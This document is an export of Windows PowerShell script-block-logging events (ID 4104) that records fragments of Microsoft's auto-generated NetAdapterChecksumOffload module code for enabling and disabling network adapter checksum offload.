$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv6')) {
[object]$__cmdletization_value = ${TcpIPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv4')) {
[object]$__cmdletization_value = ${UdpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv6')) {
[object]$__cmdletization_value = ${UdpIPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterChecksumOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterChecksumOffload' -Alias '*'
ScriptBlock ID: bfd03e6b-5243-43d1-b531-e3ce95ea1dda
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1846 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9b28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
osoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterChecksumOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterChecksumOffload' -Alias '*'
function Disable-NetAdapterChecksumOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterChecksumOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${TcpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${TcpIPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${UdpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${UdpIPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IpIPv4')) {
[object]$__cmdletization_value = ${IpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdl
ScriptBlock ID: bfd03e6b-5243-43d1-b531-e3ce95ea1dda
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1845 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9b28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
ias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterChecksumOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${TcpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${TcpIPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${UdpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${UdpIPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IpIPv4')) {
[object]$__cmdletization_value = ${IpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv4')) {
[object]$__cmdletization_value = ${TcpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv6')) {
[object]$__cmdletization_value = ${TcpIPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv4')) {
[object]$__cmdletization_value = ${UdpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv6')) {
[object]$__cmdletization_value = ${UdpIPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'UdpIPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Micr
ScriptBlock ID: bfd03e6b-5243-43d1-b531-e3ce95ea1dda
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1844 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9b28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IpIPv4Enabled')) {
[object]$__cmdletization_value = ${IpIPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv4Enabled')) {
[object]$__cmdletization_value = ${TcpIPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv6Enabled')) {
[object]$__cmdletization_value = ${TcpIPv6Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv6Enabled'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('UdpIPv4Enabled')) {
[object]$__cmdletization_value = ${UdpIPv4Enabled}
